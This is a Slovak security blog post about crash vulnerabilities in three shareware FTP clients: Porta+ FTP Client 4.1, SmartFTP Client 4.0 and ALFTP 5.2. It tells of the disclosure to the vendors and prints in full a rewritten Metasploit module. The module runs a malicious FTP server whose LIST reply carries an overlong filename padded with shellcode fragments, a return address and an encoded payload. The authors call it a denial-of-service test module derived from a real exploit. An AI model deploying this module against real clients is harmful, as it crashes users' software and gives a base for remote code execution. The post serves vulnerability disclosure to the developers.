18.10
2010

Nadväzujeme na prechádzajúci príspevok o doposiaľ nereportovaných zraniteľnostiach týkajúci sa troch FTP klientov – Porta+ FTP Client 4.1, SmartFTP Client 4.0 a ALFTP FTP Client v. 5.2. Na základe odporúčania sme informovali developerov prostredníctvom e-info mailu. Dvaja z troch oslovených spoločností sa aktívne zaujímali o detailné informácie a stručný popis ako reporodukovať crash. Raketový response od SmartFTP Support bol následovaný otázkami zo strany ALTools Support. Ak sa čudujete prečo sa oslovené spoločnosti zaujímajú o zraniteľnosti, ktorých jediným (zatiaľ) výsledkom je pád aplikácie, odpoviem Vám proti otázkou, ktorú by isto nechceli dostať support manažéri :) Prečo sme ako platiaci zákazníci vystavení DoS - Denial of Service (ako môžeme prehnane nazvať jednoduchý crash) resp. hrozbe vzdialeného  spustenia kódu a užívatelia Open Source FTP klientov nie? Áno tripple rodinka FTP klientov patrí do rodiny shareware… Debugovať a implementovať spustenie kódu zaberá seriózny čas, ktorý nám momentálne chýba vzhľadom na pripravované projekty. V záujme zodpovedania na otázky developerov sme prepísali existujúci Metasploit modul - 32bit FTP Client Stack Buffer Overflow, pretože výborne vystihoval zraniteľnosť všetkých troch testovaných FTP klientov.

Vytvorili sme teda akýsi naozaj „hlúpy“ :) tripple_DoS modul prepisom skutočného a funkčného exploitu. Zvyšok kódu, ktorý nasleduje po zaslaní offsetu 12345 znakov považujte ako nefunkčný zvyšok po reálnom exploite. V skutočnosti pád pri dvoch klientoch nastáva na hranici 255+1 znakov – neošetrený vstup, no píšeme ehm DoS prečo teda nezadať šťastnú postupku? :)

Každý z týchto FTP klientov reaguje na príkaz špecificky, rýchle testy ukázali, že zvolený „payload“ & LIST príkaz spôsobí okamžitý pád dvoch, tretí klient ALFTP náklad ustojí, zostane však v pozícii mŕtveho chrobáka a prestane odpovedať na akýkoľvek podnet zruba pri offsete 50000.

Dummie modul:

# $Id: univesal_dos_list_reply.rb 10665 2010-10-13 03:03:24Z jduck $
# This file is NOT part of the Metasploit Framework and should be used only for developers to analyze and fix their applications.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
Ranking = GoodRanking
include Msf::Exploit::Remote::FtpServer
def initialize(info = {})
super(update_info(info,
‘Name’           => ‘Universal trippple DoS module for Porta+ FTP Client 4.1, SmartFTP Client 4.0.1140.0, ALFTP FTP Client v. 5.2 ‘,
‘Description’    => %q{
This module exploits something… O_o. DoS, triggered when trying to
download a file that has an overly long filename.
},
‘Author’ =>
[
'Vulcano', # found the bug - 3x
'MI1' # dumb rewrite original module from Corelan - 32bitftp
],
‘License’        => MSF_LICENSE,
‘Version’        => „$Revision: 10665 $“,
‘References’     =>
[
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
[ 'URL', 'http://www.hack4fun.eu/2010/10/tripple-dos-dummy-metasploit-module/' ],
[ 'URL', 'http://www.hack4fun.eu/2010/10/corelan-metasploit-ftp-client-hunt/' ],
],
‘DefaultOptions’ =>
{
‘EXITFUNC’ => ‘thread’,
},
‘Payload’        =>
{
‘BadChars’ => „\x00\xff\x0a“,
},
‘Platform’       => ‘win’,
‘Targets’        =>
[
[ 'XP Universal', { 'Offset' => 12345, 'Ret' => 0xD0EA907C  } ],  #RETN 32bitftp.exe
],
‘Privileged’     => false,
‘DisclosureDate’ => ‘Oct 18 2010′,
‘DefaultTarget’  => 0))
end
def setup
super
end
def on_client_unknown_command(c,cmd,arg)
c.put(„200 OK\r\n“)
end
def on_client_command_list(c,arg)
code = 150
c.put(„#{code} OK.\r\n“)
code = 226
c.put(„#{code} Directory ok.\r\n“)
conn = establish_data_connection(c)
if(not conn)
c.put(„425 Can’t build data connection\r\n“)
return
end
print_status(“ – Data connection set up“)
filename =  “\x02″  #prevent crash
filename << „Bang.txt“ #se = \x73\x65 = jump forward, over filename, to hunter
filename << “ “ * 77
#custom encoded egg hunter deleted mostly
filename << „\x89\xe2\xda\xd6\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49\x49″
filename << „\x4b\x4f\x4d\x37\x41\x41″
filename << “ “ * (target['Offset']-filename.length)
addr1 = „\x40\x60\x3A\x76″  # RW imm32.dll
addr2 = „\x44\x54\x48\x00″  # data section 32bitftp.exe
addr3 = [target.ret].pack(‘V’) # b00m !
strfile = filename
strfile << addr3
strfile << addr2
strfile << addr1
strfile << „w00tw00t“
strfile << payload.encoded
print_status(“ – Sending directory list via data connection“)
dirlist = „-rw-rw-r–    1 1176     1176         1060 Apr 23 23:17  #{strfile}.bin\r\n\r\n“
conn.put(dirlist)
conn.close
print_status(“ – LIST sent, wait for user to double click file… This is only DoS, so no shell will be received or created!“)
return
end
end

Pre zodpovedanie otázok a oboznámenie sa s Ruby zatiaľ všetko, nechajme sa prekvapiť…

Žádný komentář.

Přidat komentář